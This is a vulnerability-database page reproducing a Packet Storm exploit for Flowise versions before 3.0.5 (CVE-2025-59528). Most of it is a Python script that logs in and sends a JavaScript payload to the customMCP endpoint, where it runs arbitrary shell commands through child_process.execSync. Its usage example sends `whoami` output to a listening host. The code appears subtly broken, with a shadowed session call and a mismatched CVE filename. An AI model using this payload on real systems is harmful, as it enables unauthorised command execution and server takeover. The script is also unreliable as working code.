Lucene search
K

📄 Flowise 3.0.4 Remote Command Execution

🗓️ 03 Nov 2025 00:00:00Reported by nltt0Type 
packetstorm
 packetstorm
🔗 packetstorm.news👁 193 Views

Flowise versions before 3.0.5 are vulnerable to remote code execution (CVE-2025-59528) via crafted command.

Related
Code
# Exploit Title: Flowise 3.0.4 - Remote Code Execution (RCE)
    # Date: 10/11/2025
    # Exploit Author: [nltt0] (https://github.com/nltt-br))
    # Vendor Homepage: https://flowiseai.com/
    # Software Link: https://github.com/FlowiseAI/Flowise
    # Version: < 3.0.5
    # CVE: CVE-2025-59528
    
    from requests import post, session
    from argparse import ArgumentParser
    
    banner = r"""
    _____       _                              _____ 
    /  __ \     | |                            /  ___|
    | /  \/ __ _| | __ _ _ __   __ _  ___  ___ \ `--. 
    | |    / _` | |/ _` | '_ \ / _` |/ _ \/ __| `--. \
    | \__/\ (_| | | (_| | | | | (_| | (_) \__ \/\__/ /
    \____/\__,_|_|\__,_|_| |_|\__, |\___/|___/\____/ 
                                __/ |                 
                              |___/                  
                    
                    by nltt0
    """
    
    try:
        parser = ArgumentParser(description='CVE-2025-59528 [Flowise < 3.0.5]', usage="python CVE-2025-58434.py --email xtz@local --password Test@2025 --url http://localhost:3000 --cmd \"http://localhost:1337/`whoami`\"")
        parser.add_argument('-e', '--email', required=True, help='Registered email')
        parser.add_argument('-p', '--password', required=True)
        parser.add_argument('-u', '--url', required=True)
        parser.add_argument('-c', '--cmd', required=True)
    
        args = parser.parse_args()
        email = args.email
        password = args.password
        url = args.url
        cmd = args.cmd
    
        def login(email, url):
            session = session()
            url_format = "{}/api/v1/auth/login".format(url)
            headers = {"x-request-from": "internal", "Accept-Language": "pt-BR,pt;q=0.9", "Accept": "application/json, text/plain, */*", "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36", "Origin": "http://workflow.flow.hc", "Referer": "http://workflow.flow.hc/signin", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"}
            data={"email": email, "password": password}
            r = session.post(url_format, headers=headers, json=data)
            return session, r   
            
        def rce(email, url, password, cmd):
            session, status_code = login(email, url)
            url_format = "{}/api/v1/node-load-method/customMCP".format(url)
            command = f'({{x:(function(){{const cp = process.mainModule.require("child_process");cp.execSync("{cmd}");return 1;}})()}})'
    
            data = {
                "loadMethod": "listActions",
                "inputs": {
                    "mcpServerConfig": command
                }
            }
    
            r = session.post(url_format, json=data)
    
            if r.status_code == 401:
                session.headers["x-request-from"] = "internal"
                session.post(url_format, json=data)
    
            print(f"[x] Command executed [{cmd}]")    
    
        rce(email, url, password, cmd)
    
    except Exception as e:
        print('Error in {}'.format(e))

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Nov 2025 00:00Current
7.3High risk
Vulners AI Score7.3
CVSS 3.110
EPSS0.85265
SSVC
193